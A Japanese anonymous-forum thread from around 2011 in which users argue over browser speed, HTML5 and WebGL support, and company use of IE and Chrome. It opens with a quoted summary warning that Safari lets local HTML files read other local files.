ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110425/1303730089

＞まとめ
何の警告もなく、デフォルトの設定で、ローカルファイルから任意のローカルファイルを読み取れるのはSafariだけだ!!!!!!!
WebKit使っているアプリが、ローカルファイルのコンテキストで何か表示する+バグがあると、この問題の影響を受けることがあります
ローカルHTMLをベースにしたアプリケーションが、警告を無効化したり設定を変更するように説明していることが、たまにあります
ローカルHTMLファイルでWebアプリケーションのモックを作ったり、開発を行ったりする際に、設定変更する方法を案内している記事があります。
無効化されていたり警告が出たりするのには、それなりに意味があるので、何が出来るのかについてよく考えた上で、設定変更は慎重に行いましょう
Safariで(信頼できない)ローカルのHTMLファイルを開くのは、現状避けるべきでしょう。

>>487
UAC無効にしてるような連中には無関係な話だなｗ

IE9にGoogleのWebMプラグイン入れたしHTML5でYouTube観てやるぜーと思ったら
動画が移る度に音量がMaxに戻るからすぐにFlashに戻しぜ・・・
所詮FlashとHTML5の差なんてGUIの設計ミスで簡単に無くなるものなんだなｗ

HTML5にはsessionStorageとかlocalStorageがあるのになぜ記憶しないのだろうか

純粋になんでも中味を弄りたい理想主義のヲタクと、金は１円払いたくないケチなビジネスマン、
彼らはそれぞれ全く別の考えをもった似ても似つかない人々だけど、
そんな彼らが心から意気投合し、一致団結する素晴らしいユートピア

それがオープンソースコミュニティー

>>486
引っかかったけど更新したら100まで行ったぞ

ちょっと勘違いした

IE9入れたらchrome Dev版12を最大化した状態だと右側と下側がずれるようになった。
フラゲダウソ時点でUIが変わりすぎてIE8に戻したが…。。。
IE9正式ダウソでmixiのFlashアプリをやったら、処理落ちとメモリリーク。Firefox4に関しては改悪に思える遅さ。
QuickTimeやITunesをダウソした際に勝手にダウソ要求されるSafari for WindowsやIEでGoogleにアクセスした際にダウソ要求されるChromeの併用が（ｒｙ。

IE9：読み込みの重さは変わっていない。IE8からレイアウトが改悪されて使いづらい。
Fx4：3.6.xから比べて4.0.xは急に重くなった。
Opera：レンダリングが独特で素人にはおすすめできない上に表示が汚い。
Safari：表示は綺麗だが起動の遅さとセキュリティーの穴が致命傷。
Chrome：SafariのWebKitをチューニングして軽量最速だが、バグが多い上に正常に表示できないサイトがある。

Trident：やはり重い
Gecko：年々重い
Presto：蓋を開けたら重い（開発版ではかなり早い）
WebKit：最速だがバグが多い。

Fx3.6から4.0にして重くなったということはあり得ない。
プロファイル作り直したのか？

アドオンもかなり4.0に対応してきたな。

>>496
ヒント:スペック

Acid3が100/100になるのは
Opera11とChrome11とSafari5

Opera11だと69あたりで引っかかる
Opera11はAcid3動作を高速化すべき
http://acid3.acidtests.org/

Firefox専用コードを除く
Firefox3用JSを標準とすると

Opera11用JSの制限はかなり少ない
Firefox4用JSの制限は少々ある
Safari5用JSの制限は多少ある
Chrome11用JSの制限は多多ある
IE9-IE7用JSの制限は過大と思う

Opera11はChrome11よりも早くないが操作性がいい
Opera11はChrome11よりもクラッシュしにくい
Opera11はChrome11よりも機能制限が少ない
Opera11はChrome11よりもFirefox用JSが動作する
Opera11はChrome11よりもSafari用JSが動作する
Opera11はChrome11よりもIE用JSが動作する

>>495
＞Gecko：年々重い

FlashとSilverlight入れてﾌﾙHD動画をたくさん見れば
いかにFirefox3やFirefox4が重いのかわかると思う。

Firefox3やFirefox4ではYouTubeなどﾌﾙHD動画の
再生負荷を加えると動画の通信スピードが落ちて最悪。

拾い物

IEベースでメモリを約半分しか消費しない最軽量タブブラウザDonutQ(フリーソフト)
http://jp.layer8.sh/reference/entry/show/id/1075

>>479
Lunascape6.5ではIE9エンジン搭載
Acid3で調べて簡単に判別できた
http://acid3.acidtests.org/

>>504
だが、３エンジン搭載よりも、OPERA11が早い（笑）

>>501
他のブラウザからJSコードを流用したとき、
Opera11では変更箇所が少なくて済む。

OPERA11をタブ30個ほどで使っている
ここ一週間クラッシュも起きていない。
スピードも落ちていない。とてもいいー

オペラーの俺でもID:ny6+R+VE0はウザいと思った

そもそもこのスレはキチガイ隔離スレだし

隔離できてねーし
Linux板にまでいやがるし

>>489
各ブラウザともflashに比べるとストリーミングの処理の仕方がそもそも下手ならしい

FireFox4.0.1にしたら起動に時間がかかるようになった
それ以外はさらに早くなったようだ

連休だなあ

FireFox4.0.1でIETab使うと以前はしなかったクリック音が出るようになった

君の仲間アホー知恵遅れにたくさんいるよ

>>489
Windows7やVistaはブラウザごとの音量調節ができる。XPはできない。

スマン、なにも考えずにFirofoxを使っている俺に教えてくれ。

PCの買い換えとともにネットスケープ→オペラ→Firefoxとたどってきたけど
そういえばネットスケープはいったいどうなったの？ネスケの歴史を是非教えてほしい。

滅んだ
まだダウンロードはできると思うけど

ちなみにネスケの中の人はWebkitのRockmeltを開発中

IEもOperaもOpenTypeフォントを表示することができない。
Firefoxが一人勝ちだ。

Operaで表示できてるけど

ネスケは滅び、残りかすがFirefoxになった。
最初は本当にカスだったが、いつの間にか一番タフなヤツに成長した。
他に現役のMozilla一族としてSeamonkeyやCaminoがいる。

しかし何よりも今世紀に入ってから、Konqueror大出世伝説が凄まじい。
まずはAppleがレンダリングエンジンをチューニングし、
GoogleがJavaScriptエンジン(とスパイ)をこしらえて無闇に宣伝した結果、
いつの間にか信者がごっそりつきまくり、
一晩にしてブラウザ界の主役へ躍り出た。

そして、何時までも君は変わらず個性的で素晴らしいOpera

IE9の追跡防止リストがFirefoxのAdblockPlusと同等機能(要素非表示が無いだけ)なんだけどなんで話題にならないの？
まあブロック一覧とかできないし使い勝手は悪いんだけどさ

>>520
本当だ。OpenTypeフォントをOperaで表示できた。
フォントを優先ファミリー名で指定することはできないのか。

情報サンクス！

そうか…今の主要ブラウザには残りかすくらいしか残ってないんだな。
当時はIEと人気を2分するくらいのブラウザだったような気もするだけに残念だ。

すまんネスケ！あの青っぽい感じのＮのロゴはあんまり思い出せないけど
君のことはなるべく忘れないようにするよ。

だよなぁ　Firefoxが出る前はNetscape使ってみたくて仕方なかったけど
電話回線が遅すぎてダウンロード終わらないから断念したことがあった

ネスケっぽいといえばSeaMonkeyはNetscapeとよく似てる気がする

確かゲイツが独占禁止法違反で有罪なったのは
ネスケ潰した（というか強引にＩＥを使わせる）のが主じゃなかったっけか
だから別にユーザーたちの意思で滅んだわけじゃないと思う
俺も詳しくは知らんけど

ネスケは明らかに滅んだ唯一のメジャーブラウザだが、
Rockmeltはスレタイに名前が載るようなメジャープレイヤーになるかね。

サイト見たけど、SNS中毒者のためのマニアックブラウザで、
よくてもOperaみたいな熱狂的信者の御用達ブラウザ止まり、
悪いとGoogleWaveの二の舞になりそうな気がしたんだが…。
みんなどう考える？

あったねそういうの
BBC News - Microsoft offers browser choices to Europeans http://news.bbc.co.uk/2/hi/technology/8537763.stm
こんなこともあったし

Rockmeltは全然完成度が低いからメジャーにはならないと思うよ
せいぜいサブ程度に使われるレベル

RockmeltはSleipnirみたいなもんだろ？

>>527
facebookのユーザー数は地球上の人口の10人に1人
まあ完成度はまだ低いから今のレベルではよほどSNSが好きな奴じゃなきゃメインでは使わないだろうな

>>529
Flockみたいなもんだよ

むしろFlockみたいなものがRockmeltだろ

そして後発の影響食らってFlockは死亡ｗ

SNS対応なんかアドオンなりエクステンションなりでいいような気もするけどな
専ブラや専用クライアントがあるってことは需要もあるのかな
つうか、2ch,4ch,etcの専ブラ機能が付けば化けるんじゃね？Rockmeltもさ

>>533
Flockって終了してたんだな。知らなかった。

>>534
そんなマイナーなのコミュニティに需要があるのかどうか・・

>>536
…………だよね
2ちゃん脳になってる自分に水を掛けられた気分だわ
ありがとう

自称国産ブラウザにそういう機能がつくならともかく、アメリカ産のブラウザにそういう機能は付かない

RockmeltはSNSキモオタ専用ブラウザ

煽りに反応するほどRockmeltのユーザーがいないってことか。

ま、クロームの普及もGoogleの資金と宣伝で一気に進んだワケだから、
Facebookが本腰でプッシュすれば情勢は多少変化するかもな。

そもそもRockmeltはスレ違い

オペラはChromeの下位互換
つまり劣化Chrome

下位互換性と劣化の関連がわからない
そもそも下位互換性ってのもどうかと思うが

>>543
乞食ハトに餌やっちゃだめですよ

IE9とFx4のおかげでChromeの出番がなくなった
裸の状態でコールドスタートアップが速いぐらいしか利点がない

>>545
いや、Chrome 常用してた人にとっては、
Firefox も　IE も、出番は最初から最後までなかったわけでｗ

起動はIEのが速いし、アドオンはFxの方が豊富だし
ChromeはXP厨くらいにしか需要がないよね。
XPはこれからジリ貧だからその需要も減っていくが。

>>547
悔しそうだなｗｗ
Chrome 使え。他のブラウザ必要なくなるから。
拡張機能も既に豊富になってるし、Firefox からの乗り換えもOKだ。

chrome入れたがメモリ喰うので
firefoxの高速化とやらをやってみたが見違えるほど速くなってchromeと大差なくなった
結局スペック次第じゃないかな
core2 duo E8400、オンボあたりでも十分速いし

＞＞５４８
なにがOKなのかよくわからん

UIを柔軟に変更したい奴はFirefox
動作の軽快さがほしい奴はChromeで住み分けすればいい
今一方を使ってるやつはそこから移る理由はないだろうし、GoogleもMozillaも
今の方向性を変えるつもりはないだろう

>>540　正直に言うとFacebook漬けで2chになんてこなくなっちゃうんだよ
Facebookアカウント持ってないと使えないし

>>551
変えるつもりないんなら、Fx4はあんな外観にする必要ないんだけど。

そりゃ見かけは多少変わるだろうけど
xul使ってる限り使わないやつが使わないのと使うやつが使う主な理由は変わらない

Firefox3.6 使ってた友人が言ってた。
「Chrome UI 変すぎだろｗどこが使い勝手がいいのかわからん。タブの位置も変だし、使いづらい。」
「Chrome 早いだけじゃん、とりえなんて。数ミリ秒の差なんて関係ねぇよ。」

そして、Firefox4 になって、こう騒ぎ出した。
「Firefox4 神過ぎる。シンプルな UI になった。」
「Firefox4 スゲー軽くなった。今までと速度がぜんぜん違う。」

俺は、そんなに喜ぶのであれば、なんで Chrome にしなかったのか不思議に思ったが、
彼にとって、Firefox を使うことがアイデンティティなのだと理解し、何も言わなかった。

メニューボタンはいくらなんでもやりすぎな気がしたｗ
寸法と位置がｗ

リアルでブラウザがどうとか話しないよｗ

タブの位置は速攻入れ替えたよｗ
チェックつけるだけですむしな
本当に狐使い込んでる人はタブを上にするかは怪しい

最初は少し苦痛だったけれど、三日もしないうちにTabs on Topに慣れたわ。

2ch以外でブラウザの話とかきも過ぎるな
趣味なさ過ぎ

>>560
リアルですることあるけどな。

それも女と。意外とブラウザオタクの女の子っていたりするもんだよ。
って言っても２人しか知らないけど。
そういうガジェット好きって男女関係ないんだな。

男でもPC興味ない奴は、おまえどうした？本当に21世紀生きてきたのか？
っていうぐらい興味を示さないしな。

さすがGWだ

IT業界の人間なら世間話として普通に話すだろ
論争まではしないけどさｗ

論争はあくまでネタとして

他人にブラウザを押し付けたりはしないな
押し付けたら問題が起きた時にサポートする羽目になるし

IT業界の人間なら普通にするな
メーラーですらする、「あまり使われてないけどShurikenいいのにな〜」とかさ

普通の会社じゃ、普通にIEでサービスはGoogle依存なんてーのが多いと思う
ブラウザーとしては、Chrome、企業で使われてるんかいな？ｗ

ちなみに　政治関係直結の人　はブラウザーでChromeって凄い嫌がるよなｗ

>>566
セキュリティー考えたときは Chrome が一番いいんだけどね。

企業でクロームとか爆笑だな
IEの方がマシだろ

そのかわりGoogleに情報が流れます

>>567
そうなんだけどさ
（IT外の）会社会社色々見てるとさ

IE使ってて、普通〜にJ-Wordツールバー、Yahooツールバー2段表示でｗ
メールはG-mail投げっぱで、そこから転送で自分のPC〜携帯なんて〜の多くて・・・

これじゃ〜、漏れるわなｗ

さすがに企業なら永遠にさようならJWordコピペは実行してないとやばいな

>>568
ブラウザに関しては、「 IE 使え！」って強制する企業は少ないと思うけど・・・。
会社次第というか、業務次第じゃないの？
事務系だったら、ガチガチに固められても文句は言えないだろうけどね。
ちなみに、業務と関係ないページ閲覧してサボってたりするのを防ぐのは、
社内鯖側でやってるのが普通なわけで、ブラウザ自体は殆ど関係ない。
ていうか、他の企業がどうしているかなんてあまり知る術自体がないので、
確証を持って話せるわけじゃないけど。

>>569
Google で検索すれば Google に情報が流れ、
Bing で検索すれば MS に情報が流れ、
Yahoo で検索すれば　Yahoo に情報が流れる。

ブラウザ関係ないだろｗ

俺が見たところPC業界で一番守り固いのは、IBMだったな
ここはしっかりしてる

ヤバいのは、病院関係だなｗ
有名な大病院にしたって、後ろに大手メーカー保守ついてる癖に今だXPでIE6でJ-Word付きなんてやってるしさｗ
しかも、セキュリティソフトですら、いったい何時の時代の物？って目疑うようなの使ってたり
Javaは更新されてなかったり・・・
未だにダイヤルアップ接続でデーターやりとりするPCまで、使っていたりするｗ

ChromeはGmailの規約とかをみるととても使う気にはなれないだろうｗ
いざとなったら好き勝手やるけどいいよね？、って規約だしｗ
強力にお勧めしてる連中は多かれ少なかれGoogleと取引があるようなのばかり

その点Operaメールは安心だな
規約読んでないけど

そもそもプロパイダメール以外でまともな利用してる人いるの？
無料ですぐ作れるメールなんて漏れるの前提で使ってるけど

普通に捨てアドだよね
メール登録しないと入れないサイトとかサービスとか用
うざくなったらすぐ捨てられるように
カード関係だのプライベートメールには普通使わない

Google Chrome rises at the expense of Mozilla, IE - Computer Business Review
http://media.cbronline.com/news/google-chrome-rises-at-the-expense-of-mozilla-ie-020511

Chromeはまだ12%しかシェアがないのか
もう20%ぐらいになってるのかと思った
Operaは完全に無視されてるけど大丈夫か？

まあOperaはこの先もこんなもんでしょう。良さがわかる人がつかえばおｋ

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　　〜　The Legend of　A Cool Browser　〜

plalaが無料でメールアドレスをくれるからそれを使ってる。
ネット接続用のプロバイダーを変えてもメールアドレスを変える必要がないから重宝。

Chrome goes back to stealing share from IE, Firefox - TechSpot News
http://www.techspot.com/news/43595-chrome-goes-back-to-stealing-share-from-ie-firefox.html

Why Chrome will become the world's most popular browser - Computerworld Blogs
http://blogs.computerworld.com/18222/why_chrome_will_become_the_worlds_most_popular_browser

ここでいう一般企業がどういうものかわからないけど
ちょっと大きな企業とかとWeb上でデータのやりとりってなると
基本IEが指定されるからな
他のブラウザだと繋がらないこともよくある
あとEUで現物商品を売るような業界だとREACH規制とかで業界標準フォーマットを
添付しないといけないんだけどこいつが曲者でエクセルにVBAでマクロ組んでて
ハイパーリンクとかも多数あるようなものが回ってくる
でもChromeいれちゃうと
HKEY_CLASS_ROOT\.html HKEY_CLASS_ROOT\.htm HKEY_CLASS_ROOT\.shtml
ここのレジストリ書き換えちゃうんでハイパーリンクが使えなくなったりするんだよね
このお行儀の悪さを直さない限り輸出を伴う企業やその関連企業で使うのは難しいんじゃないかな？

学校がfirefoxを導入してるけど
いつまでたっても3.5のままで更新が未だにされてない

ずーとIE6のままよりましだろ
うちの学校はこのままだと2020年くらいまでIE6の可能性もある

>>586
システム管理者がやる気ないから
俺の会社も同じ理由でFirefox3.5のまま

やる気以外の問題もあるよな
問題が出てシステムが一時的に使えなくなるのを防ぐとか

ブラウザのUIが変わると仕事の能率落ちる人も出るだろうしな

>>585
Web閲覧で？相手方にIE強制するなんて、
かなり特殊な企業の話だと思うよｗ

エクセルをなぜブラウザで開かなければならない？のかとか
かなり意味不明だから、もっと整理して話してくれ。

エクセルというかオフィスはリースの所はそろそろリボン付きの奴に切り替わるから
一気に人気落ちそうだけどな
いまでも完全に慣れてないし

>>591
読んでわからなかったのか。

IEに限定するのはシステムを利用する環境としてだ。特殊な企業ではなく普通の企業
の話だ。エクセルをブラウザで開くのはシステムの仕様がそうなっているからだ。

自身の読解力のなさを相手のせいにしてはいけない。

>>593
普通、読み手が分かりにくいって言ったら、
書き手の方が分かりやすく書いていないって自省するものだと思うんだが、
読み手側の読解力に責任転嫁するとはなかなかやるなｗ

ちなみに、エクセル「で」、Webページ「を」開くの？それとも、
Webブラウザ「で」Excel「を」開くの？
一応、>>593の言葉通り受け取って後者だとしても、
普通の企業なら、エクセルファイルはエクセル上で開くべ？

多分、システムの仕様っていうのは、ActiveX使った業務アプリ使ってるってことかな？
まぁやっぱり少し特殊な業界だと思うけど・・・。

とはいっても、どの業界も局所的には特殊なわけで、
別にそういう事があってもおかしくはないんだろうけどね。
企業によって色々あるから。未だにDOSアプリの変換作業している所もあるくらいだしｗ

一番セキュリティレベルの高いブラウザって何？

>>595
一般的に普及しているブラウザの中では文句なく Chrome

>>595
だが狙われにくさはOpera

例えば
ttp://jp.techcrunch.com/archives/20110207hack-google-chrome/
あたりが参考になる。

クロームのフラッシュサンドボックスをOperaにつければ最強になるだろうな

>>591
詳しい話になるんだけどSONYとかパイオニアとかCANONとか取引あるんだけど
取引データとか環境データや検定データのアップロードとか基準書の配布とか専用ツールを使わず
ブラウザ上で動かすシステム使っているんだけどこれがIEしかサポートしてないの

あとエクセルをブラウザで開くんじゃなくでエクセル内の他のページとか
他のエクセルシートからデータ参照にハイパーリンクを使うVBAが組まれてる標準フォーマットなんだけど
レジストリを書き換えられるとこいつがうまく動いてくれないんだよ

例えばJGPSSIとかJAMAシートって環境用標準フォーマットなんだけどさ
しかもこいつはエクセルしかサポートしてないからOOo系じゃマクロすら動いてくれない
業界標準だからかってに中身を書き換えるわけにもいかないしな
そうしたら他社でこのデータが開けないとかそういう事態に陥るし

こういうお行儀の悪い事しちゃうのがChrome
ビジネスマンが〜とかよく聞くけどWeb閲覧しかしないとかエクセル系のシートから
逃れられるような業務じゃなければ企業でChromeは採用しづらいよ

>>594
読み手に十分な読解力があると仮定できるならば、普通読み手がわかりにくいって言
ったら、書き手の方が分かりやすく書いていないって自省するだろうな。他の読み手
がわかっていてお前だけわかっていないのであれば、お前の読解力が不足している蓋
然性が高い。

>>591にお前が書いているだろ、エクセル「を」なぜブラウザ「で」開かなければな
らない。システムの仕様だ。普通の企業がエクセルファイルをエクセルで開くことは
関係ない。意味不明で整理して話す必要があるのはお前の方だ。

＞未だにDOSアプリの変換作業している所もあるくらいだしｗ
なにが面白いの？

>>598
これ結局Chromeがまた今年勝ち残ったの？

>>600
なるほどねぇ。よく分かった。（多分ｗ）

＞専用ツールを使わずブラウザ上で動かすシステム
多分そのシステムっつーのが ActiveX 依存だと思う。
ActiveX 依存だったら、IE使わざるを得ないよね。
多分 Firefox でも動かないでしょ？

次に、レジストリいじる件についてだけど、これは別にChromeに限らず、
「規定のブラウザ」変更した場合、何らかの変更があるはずだよね。
Chrome の場合は .htm, .html, .shtml を ChromeHTMLの
ファイルタイプに変更して、ChromeHTML を Chrome に関連付けしているだけで、
規定の動作だと思う。
（なんかアンインストール時に行儀悪いことしてるのかもしれないけど。）

＞JGPSSIとかJAMAシートって環境用標準フォーマット
結局、このフォーマットっていうのが、 IE 依存してるってことに見えるなぁ。
つまり、業界標準フォーマット が使用している Excel の一部のマクロが、
IE しか許さない設定に成っているように思う。

となると、問題としては、
１．業務で動かしている Webアプリ が ActiveX 依存（つまりIEしか不可）だった
２．Excel の一部のマクロが、IE コンポーネント依存であるにも関わらず、
　　　IEではない可能性のある 「規定のWebブラウザ」を呼び出す可能性があるバグを含んでいた。
ってことに集約される気がする・・・

まぁ ActiveX 依存のシステムなんて結構あるはずだし、そのために
IE が使われるのはよくあることといえば良くあることかもね。
それとOffice 製品は自社のバグを他社製品の責任にしちゃまずいだろｗ

>>601
おつちけ。

>>604
おつちいた。俺が間違っていた。すまんかった。

>>603
アンインスコしてもそこの書き換えたレジストリを元に戻していかないんだよね
Chromeはさ
ChromeをアンインスコしてIEを既定にしてもレジストリはそのままだから手動で書き換えってことになる

これがChromeの問題なのかwebkitの問題なのかはわからないけど
ただ、Firefoxを既定にしても問題ないんだよね

>>606
Chrome アンインスコしてレジストリ戻していないのなら、それは行儀が悪いね。
まぁよくあることっちゃよくあることだけど。ちなみに俺は確認はしてない。メンドイので( ´∀｀)

で、Firefox 規定にしても問題ないっていうのは、今、規定にFirefox4 にしてみたら、
一応 Chrome と同じように、
HKEY_CLASSES_ROOT\.(s)htm(l)の規定値はFirefoxHTML に変更してるお

となると、そもそも、そのレジストリ値でない場所で問題が起こっている可能性があって、
１．Chrome がとんでもないところを変更している。
２．Office 製品のVBAの一部の機能が、.html等の規定値で設定されている値
　　（つまり、FirefoxHTML, ChromeHTML）を用いて、Firefox や Chrome を
　　　呼び出し、ブラウザに備わっている機能の一部を使った。それがたまたまFirefox は
　　　OKで、Chrome はNG な機能だった。

１．は、考えにくいんだよね。ていうのも、修正方法が、結局該当レジストリの修正で
治るわけだから、やはり該当部分が問題に見える。

となると、２．が可能性が高いのだが、そうなると、実は Office製品側のバグなんだな。
ていうのも、サードパーティー製のコンポーネントを使った時に、期待した機能が実装されて
いない事は想定していなくてはならないので、直接IEコンポーネントを呼ぶべきだから。
行儀が悪いのは Excel の方かと。

Chrome がアンインスコ時にレジストリ値を戻していないなら、その点については
Chrome は行儀が悪いね。要望送れば特別な理由がなければ多分修正してくれるお。

>>607
行儀が悪いのはエクセルなのかVBA組む側がIEのみの設定が組んでいないのか
VBAでそういう事組めないのかその辺は難しいんだけど

ただ、これが治らない限り企業ででChromeは難しいと思うんだよね
まぁ、こういう環境シートもOOo版がほしいとは思うけどこういう所はエクセルのほうが
実績あるからどうしてもエクセル使っちゃうんだよね

グーグルアップデートとかいうゴミが存在する限り行儀の悪さはブラウザ界最強

うざければ無効にすればいいだけ
その程度のスキルもないのか

そもそもつけるなよ、って話だな、そんなもの

>>608
多分似たようなバグ報告あがってて、解決策も書いてるので、
明らかにExcel（Office）側の問題かと。
ttp://outlooknavi.net/article/137297169.html とか。

ただ、こう言うのによくあるのは、上記サイトのような、
「Chrome アンインスコして！」って解決策じゃなくて、
キチンとなおすお！ってのが用意されていることがあることだね。
例えば、上記の別解決法（こっちがスマート）
ttp://support.microsoft.com/kb/310049

で、下の解決法だと、別にChrome だろうが問題が出なかったりする。
同じバグではないと思うけど、上の事例に似た場合がある時もあるので、
どうなのかねぇ。

基本、Office 側のバグ（聞いている限りではこっち）だとすると、
根本的な解決策が用意されている可能性もあるよ。
Office側のバグの場合、IE使っていない極稀な企業が、MSに文句言うからねぇ。

Chromeの嫌な所は、一度インストールするとPCに　刻印　刻み込まれる所なんだよ
Firefox等は、アンインストール後、レジの残骸手動で気楽に消せる
細かく消そうと思えば、レジストリエディターでMozillaやFirefox等文字列で検索、一括削除できる
が　Chrome　は、system権限じゃないと消せないエントリーがうじゃうじゃ作られる
一見レジストリエディターで一括削除出来たようでも、その後検索すると何度も何度もでてくる

まぁ、ポータブル版使えって事になるんだけどね

>>610
自分一人ならレジストリいじって解除してるよ
でも企業となればシステム担当がそんな不安定なこと許すと思うか？
それとも一台一台すべて手動で直して回るのか？
それ以来Chromeは入れてないからわかないけど手動で直してもバージョンアップしたらまた書きなおす可能性は？
それならChromeインスコ不可にしたほうがよほど安全で確実だって話

>>612
office側の問題だとしてもChrome起因が多いみたいだし
MSが対処するかChromeが対処するかどっちかが対処しなければ厳しいでしょ

韓国、グーグル子会社捜索　無断で位置情報収集か

　韓国警察当局は３日、多機能携帯電話（スマートフォン）利用者の位置情報を無断で収集していた疑いがあるとして、
米グーグルの韓国法人を家宅捜索した。警察当局者が明らかにした。
http://sankei.jp.msn.com/world/news/110503/kor11050320450002-n1.htm

韓国は無断でパクるくせに無断で位置情報収集されるのは嫌なんだね

>>613
ほんとかいなｗ嘘くせｗ
どうしてもレジストリいじらせたくないのであれば、
Chromimum Portable 使え。
Portable 版でも IE8 よりは遥かに速いからｗ

>>614
レジストリいじるっつっても、regedit とか コマンドラインで対処する必要なくて、
「有名な問題であれば」、多分ツールが Microsoft から出てるでしょ。
ダウンロード→インストール→再起動　するだけだよ。
シス管が「バグフィックスは適用するな！」って言うはずないじゃんｗ
言ったとすれば、単にそいつが単に無能なだけ。

最速の座をIEに奪われたChromeの今後の反撃はあるのか！？

まあメインはFirefox、サブにChromeなんですけどね

>>618
使ってみればわかるけど、普通のWeb閲覧でIE9はまだChromeより遅い。
それとIE は機能なんて殆ど何も無いに等しいし、プラグイン入れだすとまた極端に遅くなる。

そして、HTML5　殆ど準拠していないから、HTML5 使ってるサイトだと正常に動かない方が多い。
なんで IE9 に反撃する必要あるの？ｗ

最速最速って実際は効率に差が出ないしな。
自己満でしかない。

色々なことをやらせたいならFirefoxかOperaに限るよ。

>>617
そこまでの手間かけてActiveXの使えない物入れて対処する工数を考えたら
入れないが一番簡単で工数もかからず余計なトラブルの元も作らない
対処にかける工数だってタダじゃないんだ
自分一人でPC使ってるなら問題ないけどさ

そうそう。
現場からしてみれば仕事の遂行が一番大切。

ブラウザの種類なんて、何でもよい
でもトラブルで業務が中断するのは最悪

余計なモノはなるべく省き、工数を減らすに限る
それがみんなの幸せ

HTML5とJavaScriptでは，どれくらいのゲームパフォーマンスが期待できるのか
JavaScriptのベンチマークテストはそれなりに行われているのでしょうが，
実際のところ，どれくらい「ゲームに使えるか」という観点からのものは，ほとんどないようです，そこで，前回のゲーム部分をそのままベンチマークテストに作り変えてみました。


1位　Google Chrome（ver.10.0.648.204）8121
2位　Mozilla Firefox（ver.4.0.1） 4189
3位　Safari（ver.5.0.5 build 7533.21.1） 4749
4位　Opera（ver.11.10 build 2092） 1070
5位　iPhone 4 543
6位　HTC Desire 1859

テスト環境の基本情報は以下のとおりです。
OS：64bit版Windows 7（SP1）
CPU：Core i3-M350/2.27GHz
メインメモリ容量：4GB
グラフィックスチップ：GeForce 310M
画面解像度：1366×768ドット

http://www.4gamer.net/games/032/G003263/20110503005/
ぜひご自分のお気に入りのブラウザでベンチマークをしましょう。
ほかにも詳細がのってるので残りは記事を読んでください。

>>623
ねつ造乙

1位 Internet Explorer 9（ver.9.0.8112.16421） 12590

安定最新版でしか図ってない時点でな

>>623
ていうか、enchant.js　に限った計測でしょ。
同じような感じなら、　webM だと、　Chrome 圧勝だよ。
IE9 は殆ど動かない。

>>626
webM ちがたorz
webGL ね。

Chrome 11: The Best Browser? :: Hack In The Box :: Keeping Knowledge Free
https://www.hackinthebox.org/modules.php?op=modload&name=News&file=article&sid=41153

>>626
Microsoftの計測結果は信頼できない
↓
マイクロソフト以外の計測結果の場合
↓
○○に限った計測でしょ

お前は一体何を信じてるんだ？
ウェブ標準規格で動くことが前提だろ

>>627
そのWebGLとやらは、HTML5の標準規格なのか？
って事じゃね？　特定のブラウザ依存の規格は標準じゃないんだよ。
ベンチマークは、あくまで標準規格内で動くことが前提なんだから。

>>628
ちなみにHTML5の仕様自体がまだ確定はしてないんだよね。
IE9が対応してるのは、確定したものだけで、未確定のコードには対応していない。
いかにもGoogleはHTML5の機能に対応しました風に宣伝してるけど、これって詐欺に近いんだよね。
よくHTML5への対応度比較のサイトとかでてくるけど、確定したコードへの対応なら
IE9は100％対応と言える。
ほかは、自社の規格案やら、某標準化（標準に化けるための）団体が提出したHTML5の規格案を実装して足並みを乱してるだけ。

ベンチマークは池沼専用
実際に使ってみなきゃ良し悪しなんてわからん

>>625
ChromeとFirefoxの最新版で測ってみたけど結果はほとんど変わらず。
つか11のほうがスコア低いね

IE9はcssのtext-shadowあたりは実装して欲しかったな box-shadowは実装してるんだし

Operaのタブを開く速度に惚れるわ

Operaって背景とCSSに弱いよな
なんとかならんかな

>>630

HTML5 が正式に規定している規格とは異なるグループが策定しているが、
WebGL は HTML5 のほぼ必須機能と考えられてる、オープンな標準規格だよ。
仕様が確定してないつっても、「IE9 以外」では、サポートされてるしｗ
それに、仕様が確定する前から、ブラウザの実装を尊重して、
使用できるものから使うっていうのが今のスタイルでしょ。

そもそも、「仕様が確定してないと使えない！」っていうんなら、
CSS2.1 使っちゃいかんことになるだろーがｗ

そもそも、HTML5 対応状況をみてみれば、何言っているのかわかるよ。
ttp://html5test.com/index.html ←お前の使用しているブラウザの点数
ttp://html5test.com/results.html
IE9：130点
Safari5.03：228点
Firefox4：255点
Chrome11：293点

IE9 はまだまだ出来ない子ｗ何が実装されていないかは、↑みれば
具体的にわかるよｗｗ

>>636
またお前か　そのコピペ飽きたわ
ＩＥはHTML5の確定規格は100％実装

お前はあとで実装されなかった機能があっても問題ないのか？
利用を薦めるのはいいが、その後サイトを改修する手間と費用を考えろ

Google株価ひどいことになってるな
どうしたんだ？
何かヤバい事態なのか？

>>637
また同じいいわけかｗその言い訳聞きあきたわｗｗ
現実に、IE以外で出来るんだから、負け惜しみにしか聞こえないよｗｗ

http://webglsamples.googlecode.com/hg/aquarium/aquarium.html

http://webglsamples.googlecode.com/hg/blob/blob.html

http://webglsamples.googlecode.com/hg/blob/blob.html

http://webglsamples.googlecode.com/hg/fishtank/fishtank.html

盛り上がってまいりました

HTML5の話なのにWebGLのURL貼ってドヤ顔とか恥ずかしいですねｗ

http://www.softpedia.com/progDownload/Joulemeter-Download-165079.html
PCの消費電力を計るツールが公開されてるね
これで図ってもIE9が一番省エネでした。

>>641
例えば、html5 内の規格サポート状況の例。

http://www.htmq.com/html5/005.shtml
IE9 では全部素通りで、他のブラウザだとある程度チェックしてくれる。

http://diaspar-journal.blogspot.com/2008/09/drag-drop-html5.html
IE9 ではドラッグ＆ドロップ出来なくて、他のブラウザだと出来る。

っつーか、http://html5test.com/
のIE9 の結果がひどくて正視できなかったんだろ？
だから、そんなこと言い出す。

そもそも、IE だってHTML 関連の標準規格（例えばGeolocation）
の実装やってるやん。WebGL を実装していない言い訳が、
「HTML5 標準ならやってる」では苦しいと思うけど？
CSS だって、IE8 とかでは滅茶苦茶ひどかった（角丸ボックスさえ作れなかった）
のは有名事実だったわけで。
この言い訳も、HTML5 の話してるだろ！ってことかい？

HTML5 を軸とした、「Web 標準規格 の対応」の話をすべきだろ。

メジャーなブラウザ間で互換性のある実装がされてない策定中の仕様なんて
標準とは呼べないよね。そんな仕様でベンチしてブラウザ比較とかキチガイレベル。
何年後かにはこれが標準で使えるんだね！すごいね！ってｗｋｔｋしとけぼけ。

Microsoftはもともと、標準規格ってやつが嫌いだからなー

>>643
